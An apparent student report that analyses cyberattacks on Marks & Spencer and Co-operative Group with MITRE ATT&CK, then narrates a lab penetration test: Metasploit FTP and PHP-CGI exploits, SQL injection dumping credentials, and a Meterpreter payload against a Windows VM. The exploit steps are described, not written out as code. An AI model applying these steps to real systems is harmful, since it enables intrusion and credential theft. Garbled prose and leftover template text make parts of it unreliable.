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[bookmark: _Toc228479035]Abstract:
The aim of this report is to discuss about cyber security and perform penetration testing. Some of the latest cyber-attacks on big retailers highlight a growing threat to businesses that rely too much on digital networks and online services. Marks & Spencer and Co-operative Group are two major retail retailers in the UK that are under attack. Both companies also have sizable online and retail customer data repositories, processing databases, finance systems and supply chain data. Cybercriminals, whether with financial gain, data theft or operational disruption, have seen these companies as some of the attractive targets, owing to their larger size, and the importance of their dependence on the digital infrastructure. 
There were instances of attacks of these organisations that included levels of compromise the kind of which are common in organised cybercrime groups. Those who attack use tactics that assist in gaining broader access to platforms like phishing emails, using stolen credentials, exploiting vulnerable services and moving across the organisation's network to further gain control: all of the above methods that can be used in cyber attacks on an organization. Once inside the network, adversaries may attempt to raise their privileges, deploy malicious tools, or exfiltrate sensitive data. These attacks highlighted the dynamic, multi-stage, multi-layered nature of modern cyber threats in today’s online threat domain, where these types of activities are planned and executed in such a way that the attackers do not seem to be discovered, but gain access and continue with the desired effect.
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[bookmark: _Toc228479036]1. Introduction 
In recent years, organisations have relied on digital infrastructure, internet services and cloud technologies to manage their operations. All of this, while encouraging progress in service provision and operational integration, also provides new opportunities for cybercriminals to exploit systems vulnerabilities. Even when security weaknesses are not patched immediately with the likes of the ones today and which only magnify the damage later on, organisations also need to be proactive in hunting for gaps before they are exploited with the world’s most sophisticated and severe cyber threats now a reality. Hence offensive security and ethical hacking become necessary elements of the security of today. However, Offensive Security in the real world aims to execute simulated cyber-attacks against an organisation within a controlled environment to assess the efficacy of the organisation's security posture and find problems before they are made susceptible to exploitation by bad actors. One of the most relevant developments in the threat landscape of late is the rise of Advanced Persistent Threats (APTs). Those are usually made by attackers who are skilled, resource-intensive, and get to the organisations they are going after and gain a long-lasting foothold on the data and systems. Such attack types are commonly accompanied by several stages, including: reconnaissance, initial access, privilege escalation, lateral movement, and data exfiltration. These advanced attack behaviours make information security professionals often rely on traditional methods like MITRE ATT&CK from the field of information security to analyse how adversarial behaviour, strategies, and techniques are used in a cyber-attack situation. The paper consists of two parts, two exercises for illustrating the theory and practice of ethical hacking (Abo-Alian, Youssef and Badr, 2025). An analysis of the first Task is a strategic analysis of cyber incidents against Marks & Spencer and Co-operative Group in the UK. This analysis focuses on the timeline of the attack, tactics and techniques of the adversary, what precipitated the breach and strategic initiatives to improve the security of an organisation. The second is creating, testing, and implementing a simulated red team penetration test against a fictional organisation ABCD Ltd. To do so, I design towards a virtual lab environment, use MITRE ATT&CK for attack mapping, exploit systems to exploit the vulnerability, and examine detection gaps.
[bookmark: _Toc228479037]TASK 1 – Strategic Threat Analysis 
[bookmark: _Toc228479038]2. Overview of the Cyber Incident 
Organisations and their customers can be affected extensively by such cyber incidents. Impacts on operations (Ajmal et al., 2023). The operational disruption that may appear possible may be affected in online services, payment processing and related supply chains, and then economic losses are incurred as well as reputation damage. If consumer information is exposed or compromised, then people can be exposed to identity fraud or financial fraud. This makes companies require a great deal of cash for the cyber defense against these threats and incident response resources if they are to counter them. These kinds of events come in handy in cybersecurity research as well, because they provide real life examples how modern assaults function. Protection organisations such as (among others the UK National Cyber Security Centre and CERT-UK) have developed a heightened vigilance regarding these types of attacks, providing threat intelligence to businesses and helping them to improve their cyber resilience to new attack mechanisms.
[bookmark: _Toc228479039]3. Incident Timeline Analysis 
Understanding the sequence of such events in a cyberattack will provide insight into how attackers penetrate systems and what organizations do after breached systems are compromised. Using that timeline to analyse events enables defensive tactics by examining the attackers’ behaviour and the presence or absence of weaknesses with detection mechanisms to be better prepared for future incident response actions. The cyber attack is just one indication of an intrusion pattern seen in many types of cyber threats today that follows that observed from multiple attacks, especially the incidents at Marks & Spencer and Co-operative Group. It usually begins with the reconnaissance and exploitation of vulnerabilities. The attackers can use phishing emails, stolen credentials, or other misconfigured services to get in. After the initial compromise is secured, it is for the attackers to obtain access and to attempt first running a privilege elevation exercise followed by lateral traversal, to access vital systems. Attackers can then install some malicious tools or simply continue to gain control over systems they’ve got access to. In a number of cyber incidents, organisations are unaware of the breach as attackers often work in a stealth fashion to bypass security monitoring systems (Barchuk, 2025). The organization initiates investigation of an anomalous operation when such an anomalous operation is detected by security monitoring, logs or anomaly detection systems. At this stage security teams find out what kind of compromise has occurred or which systems and/or data are compromised. When such issues get discovered, incident response crews make use of containment responses in order to remove any more deleterious consequences.
[bookmark: _Toc228479040]Incident Timeline
	Date / Stage
	Event Description

	Day 1
	Initial intrusion through phishing email or credential compromise

	Day 3
	Privilege escalation and installation of malicious tools

	Day 5
	Lateral movement across internal network systems

	Day 7
	Sensitive data access or potential data exfiltration

	Day 10
	Security team detects unusual activity and begins investigation

	Day 11
	Containment actions implemented and compromised systems isolated

	Day 14
	Public disclosure of the breach

	Day 20
	Remediation actions and security improvements implemented



[bookmark: _Toc228479041]4. Adversary TTP Mapping Using MITRE ATT&CK
For understanding how advanced intrusions are conducted, numerous cybersecurity analysts exploit the MITRE ATT&CK Enterprise Matrix. An advanced understanding of adversarial Tactics, Techniques, and Procedures (TTPs) observed in practice can also be derived by this framework. With the mapping of attacker behavior to MITRE ATT&CK, security practitioners can get a better understanding of the attack chain structure, identify detection gaps and upgrade defenses. In the cyber incidents involving Marks & Spencer and Co-operative Group, attackers most likely relied on a multi-step attack chain encompassing initial access, privilege escalation, lateral movement, command execution, and data exfiltration. These components typically go through a series of stages as described in the MITRE ATT&CK Enterprise Matrix (Chindrus and Caruntu, 2023).
[bookmark: _Toc228479042]MITRE ATT&CK Technique Mapping
	MITRE ID
	Technique
	Explanation

	T1566
	Phishing
	Attackers use deceptive emails to trick employees into revealing credentials or executing malicious attachments.

	T1078
	Valid Accounts
	Stolen or compromised credentials are used to log into legitimate systems without raising suspicion.

	T1059
	Command and Scripting Interpreter
	Attackers execute malicious scripts (PowerShell, Bash, or Python) to run commands within the compromised system.

	T1548
	Abuse Elevation Control Mechanism
	Privilege escalation techniques are used to obtain administrator-level access.

	T1021
	Remote Services
	Attackers move laterally through the network using remote protocols such as RDP or SMB.

	T1087
	Account Discovery
	The attacker scans the network to identify user accounts and administrative privileges.

	T1018
	Remote System Discovery
	Internal systems and servers are identified to map the organisation’s infrastructure.

	T1105
	Ingress Tool Transfer
	Additional malware or hacking tools are downloaded onto compromised systems.

	T1041
	Exfiltration Over C2 Channel
	Sensitive data is transferred from the network through command-and-control channels.

	T1071
	Application Layer Protocol
	Attackers communicate with command servers using protocols such as HTTP or HTTPS.


[bookmark: _Toc228479043]Attack Chain Stages
The initial stage of the attack typically begins with Initial Access when attackers leverage phishing or credential theft to gain access to the organisation’s network. They log in to Valid Accounts (T1078) when they get in, authenticating themselves as normal users. This is achieved via Execution and Privilege Escalation, using Command and Scripting Interpreter (T1059) to enable the attacker to execute harmful scripts and get admin permission through Abuse Elevation Control Mechanisms (T1548). At this time, attackers can bypass security controls and access sensitive systems. When a hacker has gained elevated privileges, they can engage with Discovery with Account Discovery (T1087) and Remote System Discovery (T1018). These methods give the hacker insight into the setup of the network as well as what valuable systems are within it, and plan further movement. Next, the attack moves on to Lateral Movement: using RDP or SMB, hacked-in credentials and remote protocols to get inside through Remote Services (T1021). Sensitive organisational data is being transferred to external servers controlled by the attackers (Granstedt, 2024).
[bookmark: _Toc228479044]Attack Flow Diagram
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Mapping an attacker’s activity using the MITRE ATT&CK framework is a great way to understand how adversaries work their way through the organization’s network, and I think that is fascinating. It is based on the new analysis that security teams can now establish more security features to prevent further occurrences similar to this one in future.  
[bookmark: _Toc228479045]5. Root Cause and Security Control Failures  
High-profile cyber-incidents such as the recent attacks on Marks & Spencer and Co-operative Group are both due to a combination of system vulnerabilities and nonphysical systems security, human errors or human error, and failures at organisational level in security procedures. A grasp of such basic principles is essential not only for strengthening an organization’s cybersecurity but also to prevent recurrence of these kinds incidents. Most advanced cyber attacks are not based on one vulnerability, but take advantage of many security holes across systems, processes and personnel (Haque et al., 2025).
Technical breakdown
An unfixed system is one of the most probable causes of security lapses. Where an organization does not regularly update software, operating systems or applications, well-known vulnerabilities can be used by intruders as an entry point for unauthorized entry. Hackers who have detected problems with systems find their way into security holes and often scan networks for old systems. Another big technical weakness is the opportunity of compromising the web services. For e-commerce, customer portals and internal working, a lot of companies rely on web-based platforms. If these services contain a lot of misconfigurations, legacy frameworks or APIs which are insecure they can be used as a vector to attack (injection attacks, remote code execution, bypass authentication etc). The presence of poor authentication mechanisms is also a key to successful cyber intrusions and can manifest as an authentication attack. If everything is on username and password combination only, without second-hand verification, an attacker can exploit stolen credentials from phishing or credential stuffing attacks (Landauer et al., 2024).
Organisational Failures:
Apart from technical frailties, the process of organisational security is usually involved in succeeding breaches. Its fundamental failure lies in a lack of adequate network segmentation. When networks are not segmented into separate security zones, attackers who gain access to one system can easily spread over the network and compromise other systems including databases and sensitive servers. Another organisational challenge is weak or poorly enforced security policies. Without clearly defined cybersecurity guidelines, employees commit some potentially dangerous behaviours such as using weak passwords, downloading suspicious files or connecting to insecure networks.  
Human factors  
The importance of human error remains the number one cause of cyber breaches to this day. There are also phishing attacks that can be directed towards employees which targets employees who impersonate legitimate organisations using fraudulent emails in order to steal login details or distribute malware attachments on account of the login page. Similarly, bad security awareness, weak training and other conditions may cause more organisation weakness. Those who aren’t regularly trained to spot suspicious emails, social engineering schemes and unusual activity on the systems they use are more likely to be unwittingly aiding attackers as they break into internal systems (Lates and Boja, 2025).
Missing Security Controls  
Their vulnerabilities could be considerably diminished if cybersecurity precautions were more strict. For example, in the scenario of Multi-Factor Authentication (MFA), the risk of credential based attacks would be extremely lowered as more than just password to authenticate would be required. Improved network monitoring also allows for tracking and alerting the system to any suspicious activities — anomalous, untried login attempts, lateral movement, or lateral movement from (like an account management system) inside a network. Finally, by implementing advanced endpoint protection solutions across the entire organisation it would help in the detection of malware, prevent malicious scripts, and stop the aggressors from gaining control in compromised systems. If we want to increase our resistance to modern-day cyber attack patterns, we need to harden those controls.  
[bookmark: _Toc228479046]6. Threat Actor Profile and Motives  
The profile of potential threat actors is a critical part of the security research enterprise because it directs the company’s process to discover that for the reason of motivations, capabilities and attack techniques of cyber attacks. Multiple types of actors can join in to carry out attacks on major retail operators like Marks & Spencer and Co-operative Group, depending on targets and sophistication. So, there is one type of the known threat actor that would be part of the organized crime group. These are commercial cybercrime organisations that partner up with businesses and make money. They occasionally execute phishing attacks, credential breaches, and hacks to hack into the corporate network. Once on the network, they may steal sensitive data, install malware; they can also steal sensitive information, attach malware, or sell stolen information on underground cybercrime markets. This includes ransomware gangs. They are known for their use of ransomware to lock up organisational data, demanding massive remuneration as payouts for decryption keys. A ransomware attack usually involves a multi-step process that begins with gaining first access via phishing or vulnerabilities exploited, then moves laterally throughout the network, and finally encrypts critical systems. Many ransomware groups also threaten to release stolen data to the general public without it being paid the ransom again. There also are attacks on the nation-state attacks, even for those in the context of advanced cyber warfare, or nation-state cyber warfare in some cases, attacks which target the nation state itself, or those attacks engaging in critical infrastructure. But state attackers who take advantage of government aid and/or advanced technical capabilities from the outside often leverage high-tech tools, from nation-state actors (Majumdar, Pendleton and Gupta, 2025). 
[bookmark: _Toc228479047]7. Detection and Incident Response Evaluation
It should also have well developed detection and response systems which would contribute towards reducing the harm that emanates as a result of cyberattacks. The characteristics of reacting to suspicious occurrence in the most appropriate manner and as early as possible is one very necessary feature that needs to be emphasized in the reduction of operational discontinuity as well as protection of classified information in an event that deals with large organisations such as in the case of Marks and Spencer and Co-operative Group. Overall, it is possible to structure incident response process and subdivide it into identification, containment, eradication, recovery and post incident analysis. Upon the identification of abnormal behaviour of the systems, security teams initiate investigations in the areas of the potential breach to determine the scope and impact of the same. Isolating the systems, enabling the suspicious user credentials, banning suspicious IP addresses and stopping any further exploitation by using security patches are the most common response measures typically used when the initial attempts at compromising systems have been detected (Mettu, 2025). 
[bookmark: _Toc228479048]8. Strategic Cybersecurity Recommendations 
To curb the chances of such cyber attacks happening in the future, organisations need to come up with a set of technical, monitoring and human based security enhancements. Improved cybersecurity is an imperative requirement of organisations such as Marks and Spencer and Co-operative Group which have large online systems and records of their customers.
Technical Controls
Implementation of the Zero Trust architecture is among such developments as it runs on the principle that no one (including users and devices) is a priori trusted within and outside of the organisational network. Access request will of course be checked and access will be provided. Additionally, network segmentation needs to be implemented in order to divide networks on security. This restricts the movement of attackers laterally in the systems in case of an attack. Personalized protection can also be enhanced through the application of Endpoint Detection and Response (EDR) and keep track of endpoints to identify suspicious activity, malware and automatically react to possible threats (Sawant and Chopra, 2023).
Monitoring Improvements
It is advisable that companies enhance their Security Information and Event Management (SIEM) by refining on log-collection on servers, network devices and application. The security personnel may also use monitoring systems that have an element of Threat Feeds to help identify already bad signs and counter new threats immediately.
Improvements in the human and policy.
The human element must be taken into consideration, too, where regular trainings on security issues will be provided, educating the employees about phishing and social engineering tricks. Phishing-resistant Multi-Factor Authentication (MFA) can greatly minimize the chances of credential compromise. Lastly, organisations are also urged to come up with detailed incident response mechanisms and carry out regular exercises to be certain that the security teams are up-to-the task of responding promptly to cyber incidences, and limiting the harm caused to the bare minimum (Sinha et al., 2025).
[bookmark: _Toc228479049]TASK 2 –Penetration testing
[bookmark: _Toc228479050]1. Introduction
This penetration test exercise will aim at establishing the security status of a fictitious organisation, ABCD Ltd by executing controlled attacks with the sole aim of trying to simulate the processes of the malicious threat attackers. During this process, the evaluation will aim at identify the security misconfigurations, vulnerabilities, and weaknesses in monitoring mechanisms or response mechanisms. The aspects of the evaluation are to establish the level to which the organisation can detect, contain and react to the potential cyber attacks. With the role of adversarial behaviour, the red team will be in a position to identify the vulnerabilities of the network security, authentication and endpoint security systems. 
The red team exercises constitute a significant part of the offensive cybersecurity aiming to simulate the concrete life cyberspace attacks to be able to locate the exposures in the security system of the organisation. The type of testing remains pre-authorised and requires carried out in a responsible manner of disclosure. The red team also ensures that no damage will be done to the systems and data permanently during testing (Vijil and Risk, 2025).
[bookmark: _Toc228479051]2. Rules of Engagement (RoE)
Define testing boundaries.
Include:
· Scope of targets 
· Permitted testing methods 
· Restricted systems 
· Communication protocols 
· Legal and ethical constraints 
Example sections:
· Engagement scope 
· Reporting procedures 
· Emergency termination procedures 
[bookmark: _Toc228479052]3. Threat Emulation Plan
Rules of Engagement (RoE) established a few boundaries and parameters of the penetration testing test. These regulations help to make sure that whatever happens during the red team engagement is controlled, authorised and morally responsible and does not lead to the destabilisation of the operations of the target organisation, ABCD Ltd.
Engagement Scope
The scope of testing will merely include either the systems, networks and services that have been allocated to a testing. These can be chosen web servers, parts of the internal network and even simple impersonated points on the testing environment. The target systems should not comprise of the other systems not involved in the engagement (Yulianto et al., 2025).
Permitted Testing Methods
The testing techniques approved includes vulnerability scanning, network reconnaissance, controlled exploitation of the vulnerability and a privilege escalation attempt made on the authorised environment. Every testing should initially be carried out under circumstances that cannot be severely damaged or disruption of services.
Reporting Procedures
The most severe vulnerability or success attacks are anticipated and they should be relayed to project supervisor or the security team as early as possible.
Emergency Termination Procedures
When a source of testing activities (accidentally) interferes with system availability or data integrity it has to be halted and the data reported to the appropriate authority.
[bookmark: _Toc228479053]4. Virtual Lab Environment Design 
The threat emulation plan is developed to implement the method to simulate cyberattack real-life by the methods documented in the MITRE ATT&CK framework. This campaign aims to determine the security profile of the simulated organisation ABCD Ltd through simulating the actions of advanced threat actors. Using this methodology provides teams in security, discovering flaws in detection systems, network controls, and incident response procedures. A cyberattack is implemented across several phases that mimic the lifecycle of a typical cyberattack. The reconnaissance phase is the first phase, where the attacker gathers information about the target network, systems, and services. The second phase is initial access, which involves exploiting vulnerabilities or using phishing techniques to gain entry into the system. The attacker then attempts privilege escalation, trying to gain more permissions to access higher levels of the network. It is then used to move laterally through the internal network, where the attacker is able to find valuable assets. Last but not least, data exfiltration takes place and sensitive data is transferred outside the network.
Attacker ID:
	Attacker ID
	Threat Actor Type
	Description
	Skill Level
	Primary Motive
	Common Techniques Used
	Example Behaviour

	TA-01
	Organised Cybercrime Group
	Professionally structured cybercriminal groups targeting large enterprises
	High
	Financial gain
	Phishing (T1566), Credential Theft (T1078), Ransomware
	Stealing customer data and selling on dark web

	TA-02
	Ransomware Operator
	Attackers deploying ransomware to encrypt data and demand payment
	High
	Financial extortion
	Privilege Escalation (T1548), Lateral Movement (T1021), Data Encryption
	Locking systems and demanding ransom

	TA-03
	Nation-State Actor
	Government-backed attackers conducting espionage or disruption
	Very High
	Espionage / Political
	Advanced Persistence, C2 Communication (T1071), Data Exfiltration (T1041)
	Long-term infiltration for intelligence

	TA-04
	Insider Threat
	Employees or contractors misusing authorised access
	Medium
	Personal gain / Revenge
	Data Access Abuse, Privilege Misuse
	Downloading sensitive company data

	TA-05
	Script Kiddie
	Low-skilled attackers using pre-built tools
	Low
	Curiosity / Reputation
	Automated Scanning, Basic Exploits
	Running Nmap scans or simple exploits

	TA-06
	Hacktivist
	Ideologically motivated attackers targeting organisations
	Medium
	Political / Social cause
	Website Defacement, DDoS Attacks
	Disrupting services for protest



[bookmark: _Toc228479054]ATT&CK Technique Mapping
	Phase
	MITRE ATT&CK Technique

	Reconnaissance
	Active Scanning (T1595)

	Initial Access
	Phishing (T1566)

	Privilege Escalation
	Exploitation for Privilege Escalation (T1068)

	Lateral Movement
	Remote Services (T1021)

	Data Exfiltration
	Exfiltration Over C2 Channel (T1041)



[bookmark: _Toc228479055]5. Exploitation Phase 
In penetration testing application, the exploitation phase will mean that the system's vulnerabilities found inside ABCD Ltd.’s simulated network space are directly exploited. The focus of this phase aims to demonstrate how intruders might access the compromised systems for unauthorized use, increase privileges, and recover sensitive information. In the examination, there were three principal attack points: running remote code on the web app, privilege escalation steps, and data exfiltration. 
Red team:
Virtual Lab Setup:
We have taken 5 Virtual Machines here –
Metasploitable 2 having the IP address 192.168.56.5/24
[image: ]
Windows Server 2022 having the IP address 192.168.56.6/24
[image: ]
Windows Client Operating System having the IP address 192.168.56.7/24
[image: ]
Ubuntu Machine having the IP address 192.168.56.8/24
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Attacker Machine Kali Linux having the IP address 192.168.56.9/24
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Network Connectivity testing from Kali Linux to all VMs
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Performing Network discovery from Kali Linux. Checking all VMs are recognized or not
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We have discovered all the VMs which are currently active and live
[image: ]
We can perform this task through NMAP tool also. Target VMs are detected and their Hardware Address (MAC) are also showing 
[image: ]
Doing active scanning from Kali Linux to get the information about current protocol and port numbers which in opened state. Getting the lists of all protocol and logical port numbers.
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Now performing active scanning for Ubuntu Machine from Kali Linux. FTP, HTTP, SSH, Telnet, SMTP all protocols are in active state and opened. Which could be vulnerable any time.
Capturing Data Packets in between using wireshark 
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HTTP Packets 
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Performing a Windows Server Scan now from Kali Linux and getting the list of all protocol and port numbers which are opened state
[image: ]

Passive Scanning to know about the webserver running on the target VM from Kali Linux 
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Enumeration from Kali Linux. Getting the information about Apache Webserver running 
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Once collecting information from the victim’s machine now going for exploitation. Filtering FTP and HTTP port number of Ubuntu Machine 
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Executing MSF Console (Metasploit Framework Console) and searching for valid exploit matching modules through which FTP exploitation will be possible 
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Checking for options here we need to set the target computer IP address
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Executing Exploit command now and we have successfully exploited target machine through FTP port 21. Below screenshot showing all the directories on the target machine
[image: ]
Creating one new directory from Kali Linux inside the target machine. We are inside root directory of the ubuntu machine. We have created one folder over there named test
[image: ]
Verifying from Victims Machine the folder has been created or not. Folder name ‘test’ is showing
[image: ]
We have successfully exploited 
Now exploiting HTTP Protocol. Searching and using valid exploitation matching module for http
[image: ]
Setting Target Machine IP which is Remote Host
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Checking which PHP Version is running on target machine 
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Now looking the configuration file of PHP
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Once got the configuration file now again going inside MSF console and looking for valid module which match php_cgi. Using the highlighted module
[image: ]
Setting Remote and Local Hosts and exploitation is successful through http
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Now accessing a root shell and create one more directory and verifying from Victim’s computer
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We are inside /var/www directory. Verifying from Victim’s computer
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Now accessing Web Server of Victims Computer
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Trying to login now but we are unable to login as we don’t know the credentials 
[image: ]
Registering one User 
[image: ]
Account has been created successfully 
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Now we are not going to login with the user which we have created. We will try to get all the users and their password list from database. We will do SQL Injection attack. Using top ten OWASP for data extraction 
[image: ]
Executing Code and getting all the username and password information 
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Verifying the username and password which we have created earlier should have been detect in the list 
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To exploit any windows machine, we are creating a payload 
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Going inside msfconsole and setting meterpreter type Remote host IP, setting remote port 
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Sending the payload to windows machine which we have created in Kali Linux
[image: ] 
Once we clicked on the payload in windows meterpreter session has been established 
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Typing help to get all the command list which we could execute
[image: ]
Getting the information about the Operating System running on
[image: ]
[bookmark: _Toc228189332][bookmark: _Toc228479056]Blue Team Agenda 
Now to avoid this we should always enable windows Defender Firewall Settings
[image: ]
In Linux OS also have to do the same. Enabling UFW
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Root password has to be changed frequently and password has to be strong and complex enough
[image: ]
SNORT can be configured as an IDS and IPS 
[image: ]
SNORT Rules 
[image: ]
Evidence collected during this stage included:
· Screenshots showing successful command execution through the web interface 
· Terminal command outputs demonstrating access to system directories 
· Logs confirming the execution of remote commands on VM-2 
Commands executed during this phase included:
· Directory enumeration commands to locate sensitive files 
· Compression commands to prepare data for transfer 
· Secure file transfer commands to extract the data 
Artifacts generated during the attack included:
· File access logs 
· Network traffic records indicating data transfer 
· Archived files containing the extracted data.
[bookmark: _Toc228479057]6. Tools and Techniques Used
At ABCD Ltd penetration testing exercises several offensive security tools are used to recreate simulated attack scenarios to showcase the issue of weak networks. In the reconnaissance phase of the survey, Nmap is one of the key tools used to do scanning around the network and it was helpful in exposing open ports, services, and hosts. In exploitation, Metasploit was the primary tool used to test known vulnerabilities and carry out controlled exploits on vulnerable machines. For web application security assessment, Burp Suite was used to intercept and manipulate HTTP requests by helping the tester find weaknesses, such as improper input validation or authentication flaws. BloodHound was used to examine Active Directory interaction routes and to locate privilege escalation routes, and Responder was used to gather network authentication credentials. This interaction was supplemented with Living-Off-The-Land (LotL) techniques in which system tools are utilized. A mock command-and-control (C2) communication channel was used to model the communication of the attacker, and stealth strategies were tried to reduce the area to be caught in testing.
[bookmark: _Toc228479058]7. Executive Security Recommendations 
ABCD Ltd management should implement simple but effective controls to mitigate the cybersecurity risks in the organisation and ensure cost-effective control and increase prevention, detection and response to the cybersecurity risks. Utilizing multi-factor authentication (MFA) and improved network segmentation can greatly decrease the threat of unauthorised access or lateral movement. The implementation of EDR solutions and enhanced SIEM monitoring will increase the visibility of suspicious activities across systems. Regular security awareness training should be initiated as well against all phishing attacks. Through its strict protocols, periodic checks and measures, continuous monitoring and a simple approach to incident response, which allows the organisation to more quickly discover, contain or recover from its breaches, this system ensures rapid detection, containment and recovery − as well as faster response time to new cyber threats.
[bookmark: _Toc228479059]8. Board of Summary 
The simulated attacks conducted in the assessment of ABCD Ltd showed some weaknesses in the company’s threat detection capabilities. One serious issue was insufficient log monitoring; that is, system and application logs were not collected centrally or actively analysed. This allowed malicious behavior (such as unusual login attempts or suspicious execution of commands) to go unnoticed for extended periods. The other major problem was the absence of Endpoint Detection and Response (EDR) solutions across the network. This resulted in the lack of endpoint monitoring of malicious scripts and unauthorised privilege escalation activities in real time. Additionally, due to the existing SIEM configuration, there were insufficient detection rules. The majority of attacker behaviours did not trigger security alerts. Poor network segmentation was also contributing to the detection gap, allowing attackers to move laterally between systems without restrictions. Detection could be improved by enforcing stronger SIEM correlation rules, deploying EDR solutions, boosting log analysis, and enforcing the appropriate network segmentation to restrict attacker movement.

[bookmark: _Toc228479060] 9. Conclusion
This report covered significant cyber incidents that happened for organisations like Marks & Spencer and Co-operative Group to learn about the actions of attackers and security vulnerabilities and that a formalised approach is invaluable for analysing threats. Modern attacks, the report explained, are multistage actions staged in many stages with adversary mechanisms mapped to the MITRE ATT&CK model. The penetration testing discussion we had at ABCD Ltd gave us insight into how we could look over their weaknesses that can be discovered through reconnaissance, privilege escalation, and data exfiltration for exploitation. Lessons to learn – proactive cybersecurity measures, security control measures, effective monitoring, and threat intelligence are essential for cyber threats.
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msfadmin@metasploitable:™5 sudo rsetcsinit.d/netuworking restart
* Reconfiguring network interfaces...
SIOCDELRT: No such process
[ OK 1
msfadmin@metasploitable:™§ ifconfig
ethO Link encap:Ethernet HUWaddr 00:0c:29:fa:dd:2a
inet addr:192.168.56.5 Bcast:192.168.56.255 Mask:255.255.255.0
inetb addr: feB0::20c:29ff :fefa:dd2as64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:629 errors:0 dropped:0 overruns:0 frame:0
TX packets:101 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:68559 (66.9 KB) TX bytes:11003 (10.7 KB)
Interrupt:1?7 Base address:0x2000

lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inetb addr: ::1,128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:249 errors:0 dropped:0 overruns:0 frame:0
TX packets:249 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:89309 (87.2 KB) TX bytes:89309 (87.2 KB)
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M ubuntu@Ubuntu: ~/Desktop

ubuntu@Ubuntu:~/Desktop$ ifconfig

lens33: flags=4163<UP,BROADCAST ,RUNNING,MULTICAST> mtu 1500

inet 192.168.56.8 netmask 255.255.255.0 broadcast 192.168.56.255
inet6 abcd::1 prefixlen 64 scopeid Ox0<global>

inet6 fe80::c8d2:f0d4:8864:d108 prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:0c:d5:0a txqueuelen 1000 (Ethernet)

RX packets 206308 bytes 241409090 (241.4 MB)

RX errors @ dropped 0 overruns @ frame 0

TX packets 435 bytes 70394 (70.3 KB)

TX errors 0 dropped @ overruns @ carrier 0 collisions @

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536

inet 127.0.0.1 netmask 255.0.0.0

inet6 ::1 prefixlen 128 scopeid 0x10<host>

loop txqueuelen 1000 (Local Loopback)

RX packets 753 bytes 142993 (142.9 KB)

RX errors @ dropped 0 overruns @ frame 0

TX packets 753 bytes 142993 (142.9 KB)

TX errors 0 dropped @ overruns @ carrier 0 collisions @

ubuntu@Ubuntu:~/Desktop$

&0 O

8 eBEPOESGC
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a adminz@KaliLinux: ~ Q i (x}

—(adminz® KaliLinux)-[~]

L$ ifconfig

etho: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500

inet 192.168.56.9 netmask 255.255.255.0 broadcast 192.168.56.255
inet6 fe80::2d8a:4ccd:640f:117d prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:b0:c1:3a txqueuelen 1000 (Ethernet)

RX packets 1176 bytes 130578 (127.5 KiB)

RX errors @ dropped @ overruns 0 frame 0

TX packets 63— bytes 6063 (5.9 KiB)

TX errors @ dropped @ overruns @ —carrier @ collisions @

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x1@<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 73 bytes 5331 (5.2 KiB)
RX errors @ dropped @ overruns @ | frame 0
TX packets 73 bytes 5331 (5.2 KiB)
TX errors @ dropped @ overruns 0 carrier @ collisions @

—(adminz® KaliLinux)-[~]
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L—( adminz® KaliLinux)-[~]
$ ping -c 2 192.168.56.5
PING 192.168.56.5 (192.168.56.5) 56(84) bytes of data.
64 bytes from 192.168.56. icmp_seq=1 ttl=64 tim
64 bytes from 192.168.56.5: icmp_seq=2 ttl=64 timi

--- 192.168.56.5 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1032ms
rtt min/avg/max/mdev = 0.603/0.645/0.687/0.042 ms

L—( adminz® KaliLinux)-[~]

$ ping -c 2 192.168.56.6

PING 192.168.56.6 (192.168.56.6) 56(84) bytes of data.

64 bytes from 192.168.56.6: icmp_seq=1 ttl=128 time=1.06 ms
64 bytes from 192.168.56.6: icmp_seq=2 ttl=128 time=0.933 ms

--- 192.168.56.6 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 0.933/0.997/1.062/0.064 ms

L—( adminz® KaliLinux)-[~]

$ ping -c 2 192.168.56.7

PING 192.168.56.7 (192.168.56.7) 56(84) bytes of data.

64 bytes from 192.168.56.7: icmp_seq=1 ttl=128 time=0.900 ms
64 bytes from 192.168.56.7: icmp_seq=2 ttl=128 time=0.880 ms

--- 192.168.56.7 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 0.880/0.890/0.900/0.010 ms

L—( adminz® KaliLinux)-[~]
$ ping -c 2 192.168.56.8
PING 192.168.56.8 (192.168.56.8) 56(84) bytes of data.
64 bytes from 192.168.56. icmp_seq=1 ttl=64 tim
64 bytes from 192.168.56.8: icmp_seq=2 ttl=64 timi

--- 192.168.56.8 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 0.724/1.012/1.300/0.288 ms

(adminz® KaliLinux)-[~]
Lo
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—(adminz® KaliLinux)-[~]
L$ netdiscover -i ethe
You must be root to run this.

—(adminz® KaliLinux)-[~]
L$ sudo netdiscover -i ethe
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NewFolder @ adminz@KaliLinux: ~
Currently scanning: 192.168.203.0/16 |  Screen View: Unique Hosts

11 Captured ARP Req/Rep packets, from 7 hosts. Total size: 660

MAC Address

VMware,

VMware,

VMware,

VMware,

5 5 VMware,
192.168.65. 60 VMware, Inc.
192.168.65.254 00:50:56: 60 VMware, Inc.
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NewFolder @ adminz@KaliLinux: ~ Q

(]

Currently scanning: 172.16.18.0/16 |  Screen View: Unique Hosts

27 Captured ARP Req/Rep packets, from 7 hosts. Total size: 1620

b0 At MAC Address

“MAC Vendor

192.168.56.5 00:0c:29:fa:dd:2a

1 60 VMware,
192.168.56.6  00:0c:29:2 b 3 180 VMware
192.168.56.7  00:0C:29:6. e 3 180 VMware
192.168.56.8  00:0c:29:0, a 1 60 VMware
192.168.65.1  00:50:56:C 8 17 1020 VMware
